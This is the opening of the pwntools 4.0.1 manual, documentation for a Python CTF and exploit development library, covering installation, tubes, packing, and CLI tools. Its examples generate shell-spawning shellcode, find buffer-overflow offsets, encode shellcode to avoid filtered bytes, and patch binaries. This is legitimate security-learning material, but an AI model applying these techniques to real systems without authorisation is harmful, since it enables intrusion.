
pwntools Documentation

Release 4.0.1

2016, Gallopsled et al.

Apr 20, 2020

1	Getting Started	3
1.1	About pwntools	3
1.1.1	pwn — Toolbox optimized for CTFs	3
1.1.2	pwnlib — Normal python library	4
1.2	Installation	4
1.2.1	Prerequisites	4
1.2.2	Released Version	6
1.2.3	Development	6
1.3	Getting Started	6
1.3.1	Making Connections	6
1.3.2	Packing Integers	7
1.3.3	Setting the Target Architecture and OS	8
1.3.4	Setting Logging Verbosity	8
1.3.5	Assembly and Disassembly	8
1.3.6	Misc Tools	9
1.3.7	ELF Manipulation	9
1.4	from pwn import *	9
1.5	Command Line Tools	12
1.5.1	pwn	12
2	Module Index	21
2.1	pwnlib.adb — Android Debug Bridge	21
2.1.1	Using Android Devices with Pwntools	21
2.2	pwnlib.args — Magic Command-Line Arguments	29
2.3	pwnlib.asm — Assembler functions	30
2.3.1	Architecture Selection	30
2.3.2	Assembly	30
2.3.3	Disassembly	30
2.3.4	Internal Functions	33
2.4	pwnlib.atexception — Callbacks on unhandled exception	34
2.5	pwnlib.atexit — Replacement for atexit	34
2.6	pwnlib.constants — Easy access to header file constants	35
2.7	pwnlib.config — Pwntools Configuration File	36
2.8	pwnlib.context — Setting runtime variables	37
2.8.1	Module Members	37
2.9	pwnlib.dynelf — Resolving remote functions using leaks	49

2.10	<code>pwnlib.encoders</code> — Encoding Shellcode	51
2.11	<code>pwnlib.elf</code> — ELF Executables and Libraries	52
2.11.1	ELF Modules	52
2.12	<code>pwnlib.exception</code> — Pwnlib exceptions	75
2.13	<code>pwnlib.flag</code> — CTF Flag Management	76
2.14	<code>pwnlib.fmtstr</code> — Format string bug exploitation tools	76
2.14.1	Example - Payload generation	77
2.14.2	Example - Automated exploitation	77
2.15	<code>pwnlib.gdb</code> — Working with GDB	84
2.15.1	Useful Functions	85
2.15.2	Debugging Tips	85
2.15.3	Tips and Troubleshooting	85
2.16	<code>pwnlib.libcddb</code> — Libc Database	91
2.17	<code>pwnlib.log</code> — Logging stuff	93
2.17.1	Exploit Developers	93
2.17.2	Pwnlib Developers	93
2.17.3	Technical details	93
2.18	<code>pwnlib.memleak</code> — Helper class for leaking memory	97
2.19	<code>pwnlib.protocols</code> — Wire Protocols	105
2.19.1	Supported Protocols	105
2.20	<code>pwnlib.qemu</code> — QEMU Utilities	108
2.20.1	Overview	108
2.20.2	Required Setup	109
2.21	<code>pwnlib.replacements</code> — Replacements for various functions	110
2.22	<code>pwnlib.rop</code> — Return Oriented Programming	110
2.22.1	Submodules	110
2.23	<code>pwnlib.runner</code> — Running Shellcode	124
2.24	<code>pwnlib.shellcraft</code> — Shellcode generation	125
2.24.1	Submodules	125
2.25	<code>pwnlib.term</code> — Terminal handling	179
2.25.1	Term Modules	179
2.26	<code>pwnlib.timeout</code> — Timeout handling	179
2.27	<code>pwnlib.tubes</code> — Talking to the World!	181
2.27.1	Types of Tubes	181
2.27.2	<code>pwnlib.tubes.tube</code> — Common Functionality	202
2.28	<code>pwnlib.ui</code> — Functions for user interaction	217
2.29	<code>pwnlib.update</code> — Updating Pwntools	218
2.30	<code>pwnlib.useragents</code> — A database of useragent strings	219
2.31	<code>pwnlib.util.crc</code> — Calculating CRC-sums	219
2.32	<code>pwnlib.util.cyclic</code> — Generation of unique sequences	263
2.33	<code>pwnlib.util.fiddling</code> — Utilities bit fiddling	266
2.34	<code>pwnlib.util.getdents</code> — Linux binary directory listing	276
2.35	<code>pwnlib.util.hash</code> — Hashing functions	276
2.36	<code>pwnlib.util.itertools</code> — Extension of standard module <code>itertools</code>	278
2.37	<code>pwnlib.util.lists</code> — Operations on lists	289
2.38	<code>pwnlib.util.misc</code> — We could not fit it any other place	290
2.39	<code>pwnlib.util.net</code> — Networking interfaces	295
2.40	<code>pwnlib.util.packing</code> — Packing and unpacking of strings	296
2.41	<code>pwnlib.util.proc</code> — Working with <code>/proc/</code>	303
2.42	<code>pwnlib.util.safeeval</code> — Safe evaluation of python code	307
2.43	<code>pwnlib.util.sh_string</code> — Shell Expansion is Hard	308
2.43.1	Supported Shells	308
2.44	<code>pwnlib.util.web</code> — Utilities for working with the WWW	313
2.45	<code>pwnlib.testexample</code> — Example Test Module	314

3 Indices and tables	317
Python Module Index	319
Index	321

`pwntools` is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

The primary location for this documentation is at docs.pwntools.com, which uses [readthedocs](#). It comes in three primary flavors:

- [Stable](#)
- [Beta](#)
- [Dev](#)

1.1 About pwntools

Whether you're using it to write exploits, or as part of another software project will dictate how you use it.

Historically pwntools was used as a sort of exploit-writing DSL. Simply doing `from pwn import *` in a previous version of pwntools would bring all sorts of nice side-effects.

When redesigning pwntools for 2.0, we noticed two contrary goals:

- We would like to have a “normal” python module structure, to allow other people to familiarize themselves with pwntools quickly.
- We would like to have even more side-effects, especially by putting the terminal in raw-mode.

To make this possible, we decided to have two different modules. `pwnlib` would be our nice, clean Python module, while `pwn` would be used during CTFs.

1.1.1 pwn — Toolbox optimized for CTFs

As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following:

- Imports everything from the toplevel `pwnlib` along with functions from a lot of submodules. This means that if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.
- Calls `pwnlib.term.init()` to put your terminal in raw mode and implements functionality to make it appear like it isn't.
- Setting the `pwnlib.context.log_level` to “info”.
- Tries to parse some of the values in `sys.argv` and every value it succeeds in parsing it removes.

1.1.2 `pwnlib` — Normal python library

This module is our “clean” python-code. As a rule, we do not think that importing `pwnlib` or any of the submodules should have any significant side-effects (besides e.g. caching).

For the most part, you will also only get the bits you import. You for instance not get access to `pwnlib.util.packing` simply by doing `import pwnlib.util`.

Though there are a few exceptions (such as `pwnlib.shellcraft`), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects.

1.2 Installation

pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

1.2.1 Prerequisites

In order to get the most out of `pwntools`, you should have the following system libraries installed.

Binutils

Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of `binutils` to be installed. We’ve made this process as smooth as we can.

In these examples, replace `$ARCH` with your target architecture (e.g., `arm`, `mips64`, `vax`, etc.).

Building `binutils` from source takes about 60 seconds on a modern 8-core machine.

Ubuntu

For Ubuntu 12.04 through 15.10, you must first add the pwntools [Personal Package Archive](#) repository.

Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.

```
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
```

Then, install the `binutils` for your architecture.

```
$ apt-get install binutils-$ARCH-linux-gnu
```

Mac OS X

Mac OS X is just as easy, but requires building `binutils` from source. However, we’ve made `homebrew` recipes to make this a single command. After installing [brew](#), grab the appropriate recipe from our [binutils repo](#).

```
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/
↪osx/binutils-$ARCH.rb
```

Alternate OSes

If you want to build everything by hand, or don't use any of the above OSes, `binutils` is simple to build by hand.

```
#!/usr/bin/env bash

V=2.25    # Binutils Version
ARCH=arm  # Target architecture

cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig

gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93
gpg --verify binutils-$V.tar.gz.sig

tar xf binutils-$V.tar.gz

mkdir binutils-build
cd binutils-build

export AR=ar
export AS=as

../binutils-$V/configure \
  --prefix=/usr/local \
  --target=$ARCH-unknown-linux-gnu \
  --disable-static \
  --disable-multilib \
  --disable-werror \
  --disable-nls

MAKE=gmake
hash gmake || MAKE=make

$MAKE -j clean all
sudo $MAKE install
```

Python Development Headers

Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto).

In order to build these native extensions, the development headers for Python must be installed.

Ubuntu

```
$ apt-get install python-dev
```

Mac OS X

No action needed.

1.2.2 Released Version

pwntools is available as a `pip` package.

```
$ apt-get update
$ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ pip install --upgrade pip
$ pip install --upgrade pwntools
```

1.2.3 Development

If you are hacking on Pwntools locally, you'll want to do something like this:

```
$ git clone https://github.com/Gallopsled/pwntools
$ pip install --upgrade --editable ./pwntools
```

1.3 Getting Started

To get your feet wet with pwntools, let's first go through a few examples.

When writing exploits, pwntools generally follows the “kitchen sink” approach.

```
>>> from pwn import *
```

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

A full list of everything that is imported is available on *from pwn import **.

1.3.1 Making Connections

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its *pwnlib.tubes* module.

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via *pwnlib.tubes.remote*.

```
>>> conn = remote('ftp.ubuntu.com', 21)
>>> conn.recvline() # doctest: +ELLIPSIS
b'220 ...'
>>> conn.send(b'USER anonymous\r\n')
>>> conn.recvuntil(b' ', drop=True)
b'331'
>>> conn.recvline()
b'Please specify the password.\r\n'
>>> conn.close()
```

It's also easy to spin up a listener

```
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
```

(continues on next page)

(continued from previous page)

```
>>> r.send(b'hello')
>>> c.recv()
b'hello'
```

Interacting with processes is easy thanks to `pwnlib.tubes.process`.

```
>>> sh = process('/bin/sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> sh.close()
```

Not only can you interact with processes programmatically, but you can actually **interact** with processes.

```
>>> sh.interactive() # doctest: +SKIP
$ whoami
user
```

There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with `pwnlib.tubes.ssh`. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a process tube.

```
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0',
↳port=2220)
>>> shell['whoami']
b'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> shell.close()
```

1.3.2 Packing Integers

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in `struct` module.

pwntools makes this easier with `pwnlib.util.packing`. No more remembering unpacking codes, and littering your code with helper routines.

```
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = unhex('37130000')
>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
True
```

The packing/unpacking operations are defined for many common bit-widths.

```
>>> u8(b'A') == 0x41
True
```

1.3.3 Setting the Target Architecture and OS

The target architecture can generally be specified as an argument to the routine that requires it.

```
>>> asm('nop')
b'\x90'
>>> asm('nop', arch='arm')
b'\x00\xf0\xe3'
```

However, it can also be set once in the global `context`. The operating system, word size, and endianness can also be set here.

```
>>> context.arch      = 'i386'
>>> context.os        = 'linux'
>>> context.endian    = 'little'
>>> context.word_size = 32
```

Additionally, you can use a shorthand to set all of the values at once.

```
>>> asm('nop')
b'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
b'\xe3\xf0\x00'
```

1.3.4 Setting Logging Verbosity

You can control the verbosity of the standard pwntools logging via `context`.

For example, setting

```
>>> context.log_level = 'debug'
```

Will cause all of the data sent and received by a `tube` to be printed to the screen.

1.3.5 Assembly and Disassembly

Never again will you need to run some already-assembled pile of shellcode from the internet! The `pwnlib.asm` module is full of awesome.

```
>>> enhex(asm('mov eax, 0'))
'b800000000'
```

But if you do, it's easy to suss out!

```
>>> print(disasm(unhex('6a0258cd80ebf9')) )
0:  6a 02                push    0x2
2:  58                   pop     eax
3:  cd 80                int     0x80
5:  eb f9                jmp     0x0
```

However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the `pwnlib.shellcraft` module, which is loaded with useful time-saving shellcodes.

Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup'ing file descriptor 4 to 'stdin, stdout, and stderr,` and then pop a shell!

```
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
'6a3158cd80...'
```

1.3.6 Misc Tools

Never write another hexdump, thanks to `pwnlib.util.fiddling`.

Find offsets in your buffer that cause a crash, thanks to `pwnlib.cyclic`.

```
>>> print(cyclic(20).decode())
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time
>>> print(cyclic_find(b'faab'))
120
```

1.3.7 ELF Manipulation

Stop hard-coding things! Look them up at runtime with `pwnlib.elf`.

```
>>> e = ELF('/bin/cat')
>>> print(hex(e.address)) #doctest: +SKIP
0x400000
>>> print(hex(e.symbols['write'])) #doctest: +SKIP
0x401680
>>> print(hex(e.got['write'])) #doctest: +SKIP
0x60b070
>>> print(hex(e.plt['write'])) #doctest: +SKIP
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address, 4)
b'\x7fELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat', 'rb').read(1))
'  0:  c3                ret'
```

1.4 from pwn import *

The most common way that you'll see pwntools used is

```
>>> from pwn import *
```

Which imports a bazillion things into the global namespace to make your life easier.

This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.

- **`pwnlib.context`**
 - `pwnlib.context.context`
 - Responsible for most of the pwntools convenience settings
 - Set `context.log_level = 'debug'` when troubleshooting your exploit
 - Scope-aware, so you can disable logging for a subsection of code via `ContextType.local()`
- **`remote, listen, ssh, process`**
 - `pwnlib.tubes`
 - Super convenient wrappers around all of the common functionality for CTF challenges
 - Connect to anything, anywhere, and it works the way you want it to
 - Helpers for common tasks like `recvline`, `recvuntil`, `clean`, etc.
 - Interact directly with the application via `.interactive()`
- **`p32` and `u32`**
 - `pwnlib.util.packing`
 - Useful functions to make sure you never have to remember if `'>'` means signed or unsigned for `struct.pack`, and no more ugly `[0]` index at the end.
 - Set `signed` and `endian` in sane manners (also these can be set once on `context` and not bothered with again)
 - Most common sizes are pre-defined (`u8`, `u64`, etc), and `pwnlib.util.packing.pack()` lets you define your own.
- **`log`**
 - `pwnlib.log`
 - Make your output pretty!
- **`cyclic` and `cyclic_func`**
 - `pwnlib.util.cyclic`
 - Utilities for generating strings such that you can find the offset of any given substring given only `N` (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at `0x41414141`, you could know that `0x61616171` means you control EIP at offset 64 in your buffer.
- **`asm` and `disasm`**
 - `pwnlib.asm`
 - Quickly turn assembly into some bytes, or vice-versa, without mucking about
 - Supports any architecture for which you have a `binutils` installed
 - Over 20 different architectures have pre-built binaries at [ppa:pwntools/binutils](https://github.com/pwntools/binutils).
- **`shellcraft`**
 - `pwnlib.shellcraft`
 - Library of shellcode ready to go
 - `asm(shellcraft.sh())` gives you a shell
 - Templating library for reusability of shellcode fragments
- **`ELF`**

- `pwnlib.elf`
 - ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk
- **DynELF**
 - `pwnlib.dynelf`
 - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address
- **ROP**
 - `pwnlib.rop`
 - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses
- **`gdb.debug` and `gdb.attach`**
 - `pwnlib.gdb`
 - Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting break-points and makes iteration on exploits MUCH faster.
 - Alternately, attach to a running process given a PID, `pwnlib.tubes` object, or even just a socket that's connected to it
- **`args`**
 - Dictionary containing all-caps command-line arguments for quick access
 - Run via `python foo.py REMOTE=1` and `args['REMOTE'] == '1'`.
 - **Can also control logging verbosity and terminal fanciness**
 - * *NOTERM*
 - * *SILENT*
 - * *DEBUG*
- **`randoms`, `rol`, `ror`, `xor`, `bits`**
 - `pwnlib.util.fiddling`
 - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with `0xffffffff` or calling `ord` and `chr` an ugly number of times
- **`net`**
 - `pwnlib.util.net`
 - Routines for querying about network interfaces
- **`proc`**
 - `pwnlib.util.proc`
 - Routines for querying about processes
- **`pause`**
 - It's the new `getch`
- **`safeeval`**
 - `pwnlib.util.safeeval`

- Functions for safely evaluating python code without nasty side-effects.

These are all pretty self explanatory, but are useful to have in the global namespace.

- `hexdump`
- `read` and `write`
- `enhex` and `unhex`
- `more`
- `group`
- `align` and `align_down`
- `urlencode` and `urldecode`
- `which`
- `wget`

Additionally, all of the following modules are auto-imported for you. You were going to do it anyway.

- `os`
- `sys`
- `time`
- `requests`
- `re`
- `random`

1.5 Command Line Tools

pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

1.5.1 pwn

Pwntools Command-line Interface

```
usage: pwn [-h]
           {asm,checksec,constgrep,cyclic,debug,disasm,disablenx,elfdiff,elfpatch,
           ↪errno,hex,phd,pwnstrip,scramble,shellcraft,template,unhex,update}
           ...
```

-h, --help
show this help message and exit

pwn asm

```
usage: pwn asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context]
               [-v AVOID] [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r]
               [line [line ...]]
```

line

Lines to assemble. If none are supplied, use stdin

-h, --help

show this help message and exit

-f {raw,hex,string,elf}, --format {raw,hex,string,elf}

Output format (defaults to hex for ttys, otherwise raw)

-o <file>, --output <file>

Output file (defaults to stdout)

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp430,thumb,amd64,sparc,alpha,s390,none,i386,m68k,mips,ia64,cris,vax,avr,arm,little,big,el,le,be,eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'none', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes (provided as hex)

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-d, --debug

Debug the shellcode with GDB

-e <encoder>, --encoder <encoder>

Specific encoder to use

-i <infile>, --infile <infile>

Specify input file

-r, --run

Run output

pwn checksec

```
usage: pwn checksec [-h] [--file [elf [elf ...]]] [elf [elf ...]]
```

elf

Files to check

-h, --help

show this help message and exit

--file <elf>

File to check (for compatibility with checksec.sh)

pwn constgrep

```
usage: pwn constgrep [-h] [-e constant] [-i] [-m] [-c arch_or_os]
                    [regex] [constant]
```

regex

The regex matching constant you want to find

constant

The constant to find

-h, --help

show this help message and exit

-e <constant>, --exact <constant>

Do an exact match for a constant instead of searching for a regex

-i, --case-insensitive

Search case insensitive

-m, --mask-mode

Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp430,thumb,amd64,sparc,alpha,s390,none,i386,m68k,mips,ia64,cris,vax,avr,arm,little,big,el,le,be,eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'none', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

pwn cyclic

```
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
                  [-l lookup_value]
                  [count]
```

count

Number of characters to print

-h, --help

show this help message and exit

-a <alphabet>, --alphabet <alphabet>

The alphabet to use in the cyclic pattern (defaults to all lower case letters)

-n <length>, --length <length>

Size of the unique subsequences (defaults to 4).

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp430,thumb,amd64,sparc,alpha,s390,none,i386,m68k,mips,ia64,cris,vax,avr,arm,little,big,el,le,be,eb}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'none', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-l <lookup_value>, -o <lookup_value>, --offset <lookup_value>, --lookup <lookup_value>

Do a lookup instead printing the alphabet

pwn debug

```
usage: pwn debug [-h] [-x GDBSCRIPT] [--pid PID] [-c context]
                 [--exec EXECUTABLE] [--process PROCESS_NAME]
                 [--sysroot SYSROOT]
```

-h, --help

show this help message and exit

- x** <gdbscript>
Execute GDB commands from this file.
- pid** <pid>
PID to attach to
- c** {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp430,thumb,amd64,sparc,alpha,s390,none,i386,m68k,mips,ia64,cris,vax,avr,arm,little,big,el,le,be,eb}
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'none', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']
- exec** <executable>
File to debug
- process** <process_name>
Name of the process to attach to (e.g. "bash")
- sysroot** <sysroot>
GDB sysroot path

pwn disablenx

```
usage: pwn disablenx [-h] elf [elf ...]
```

elf

Files to check

- h, --help**
show this help message and exit

pwn disasm

```
usage: pwn disasm [-h] [-c arch_or_os] [-a address] [--color] [--no-color]
                [hex [hex ...]]
```

hex

Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.

- h, --help**
show this help message and exit
- c** {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp430,thumb,amd64,sparc,alpha,s390,none,i386,m68k,mips,ia64,cris,vax,avr,arm,little,big,el,le,be,eb}
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'none', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']
- a** <address>, **--address** <address>
Base address
- color**
Color output
- no-color**
Disable color output

pwn elfdiff

```
usage: pwn elfdiff [-h] a b
```

a

b

-h, --help
show this help message and exit

pwn elfpatch

```
usage: pwn elfpatch [-h] elf offset bytes
```

elf

File to patch

offset

Offset to patch in virtual address (hex encoded)

bytes

Bytes to patch (hex encoded)

-h, --help
show this help message and exit

pwn errno

```
usage: pwn errno [-h] error
```

error

Error message or value

-h, --help
show this help message and exit

pwn hex

```
usage: pwn hex [-h] [data [data ...]]
```

data

Data to convert into hex

-h, --help
show this help message and exit

pwn phd

```
usage: pwn phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP]
           [-c COUNT] [-o OFFSET] [--color [{always,never,auto}]]
           [file]
```

file

File to hexdump. Reads from stdin if missing.

-h, --help

show this help message and exit

-w <width>, --width <width>

Number of bytes per line.

-l <highlight>, --highlight <highlight>

Byte to highlight.

-s <skip>, --skip <skip>

Skip this many initial bytes.

-c <count>, --count <count>

Only show this many bytes.

-o <offset>, --offset <offset>

Addresses in left hand column starts at this address.

--color {always,never,auto}

Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.

pwn pwnstrip

```
usage: pwn pwnstrip [-h] [-b] [-p FUNCTION] [-o OUTPUT] file
```

file

-h, --help

show this help message and exit

-b, --build-id

Strip build ID

-p <function>, --patch <function>

Patch function

-o <output>, --output <output>

pwn scramble

```
usage: pwn scramble [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-p]
                  [-v AVOID] [-n] [-z] [-d]
```

-h, --help

show this help message and exit

-f {raw,hex,string,elf}, --format {raw,hex,string,elf}

Output format (defaults to hex for ttys, otherwise raw)

-o <file>, --output <file>

Output file (defaults to stdout)

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msi}

The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64',

‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘none’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’, ‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]

-p, --alphanumeric

Encode the shellcode with an alphanumeric encoder

-v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-d, --debug

Debug the shellcode with GDB

pwn shellcraft

```
usage: pwn shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a]
                        [-v AVOID] [-n] [-z] [-r] [--color] [--no-color]
                        [--syscalls] [--address ADDRESS] [-l] [-s]
                        [shellcode] [arg [arg ...]]
```

shellcode

The shellcode you want

arg

Argument to the chosen shellcode

-h, --help

show this help message and exit

-?, --show

Show shellcode documentation

-o <file>, --out <file>

Output file (default: stdout)

-f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,d,escaped,default}, --format

Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocessed code, escape{d} hex string

-d, --debug

Debug the shellcode with GDB

-b, --before

Insert a debug trap before the code

-a, --after

Insert a debug trap after the code

-v <avoid>, --avoid <avoid>

Encode the shellcode to avoid the listed bytes

-n, --newline

Encode the shellcode to avoid newlines

-z, --zero

Encode the shellcode to avoid NULL bytes

-r, --run
Run output

--color
Color output

--no-color
Disable color output

--syscalls
List syscalls

--address <address>
Load address

-l, --list
List available shellcodes, optionally provide a filter

-s, --shared
Generated ELF is a shared library

pwn template

```
usage: pwn template [-h] [--host HOST] [--port PORT] [--user USER]
                  [--pass PASSWORD] [--path PATH] [--quiet]
                  [exe]
```

exe
Target binary

-h, --help
show this help message and exit

--host <host>
Remote host / SSH server

--port <port>
Remote port / SSH port

--user <user>
SSH Username

--pass <password>
SSH Password

--path <path>
Remote path of file on SSH server

--quiet
Less verbose template comments

pwn unhex

```
usage: pwn unhex [-h] [hex [hex ...]]
```

hex
Hex bytes to decode

-h, --help
show this help message and exit

pwn update

```
usage: pwn update [-h] [--install] [--pre]
```

-h, --help
show this help message and exit

--install
Install the update automatically.

--pre
Check for pre-releases.

Each of the `pwntools` modules is documented here.

2.1 `pwnlib.adb` — Android Debug Bridge

Provides utilities for interacting with Android devices via the Android Debug Bridge.

2.1.1 Using Android Devices with Pwntools

Pwntools tries to be as easy as possible to use with Android devices.

If you have only one device attached, everything “just works”.

If you have multiple devices, you have a handful of options to select one, or iterate over the devices.

First and most important is the `context.device` property, which declares the “currently” selected device in any scope. It can be set manually to a serial number, or to a `Device` instance.

```
# Take the first available device
context.device = adb.wait_for_device()

# Set a device by serial number
context.device = 'ZX1G22LH8S'

# Set a device by its product name
for device in adb.devices():
    if device.product == 'shamu':
        break
else:
    error("Could not find any shamus!")
```

Once a device is selected, you can operate on it with any of the functions in the `pwnlib.adb` module.

```
# Get a process listing
print(adb.process(['ps']).recvall())

# Fetch properties
print(adb.properties.ro.build.fingerprint)

# Read and write files
print(adb.read('/proc/version'))
adb.write('/data/local/tmp/foo', 'my data')
```

class pwntools.adb.adb.**AdbDevice** (*serial, type, port=None, product='unknown', model='unknown', device='unknown', features=None, **kw*)
 Encapsulates information about a connected device.

Example

```
>>> device = adb.wait_for_device()
>>> device.arch
'arm'
>>> device.bits
32
>>> device.os
'android'
>>> device.product
'sdk_phone_armv7'
>>> device.serial
'emulator-5554'
```

pwntools.adb.adb.**adb** (*argv, *a, **kw*)
 Returns the output of an ADB subcommand.

```
>>> adb.adb(['get-serialno'])
b'emulator-5554\n'
```

pwntools.adb.adb.**boot_time**() → int

Returns Boot time of the device, in Unix time, rounded to the nearest second.

pwntools.adb.adb.**build** (**a, **kw*)
 Returns the Build ID of the device.

pwntools.adb.adb.**compile** (*source*)
 Compile a source file or project with the Android NDK.

pwntools.adb.adb.**current_device** (*any=False*)
 Returns an AdbDevice instance for the currently-selected device (via context.device).

Example

```
>>> device = adb.current_device(any=True)
>>> device
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_
↳ phone_armv7', model='sdk phone armv7', device='generic')
>>> device.port
'emulator'
```

`pwnlib.adb.adb.devices (*a, **kw)`
Returns a list of `Device` objects corresponding to the connected devices.

`pwnlib.adb.adb.disable_verity (*a, **kw)`
Disables dm-verity on the device.

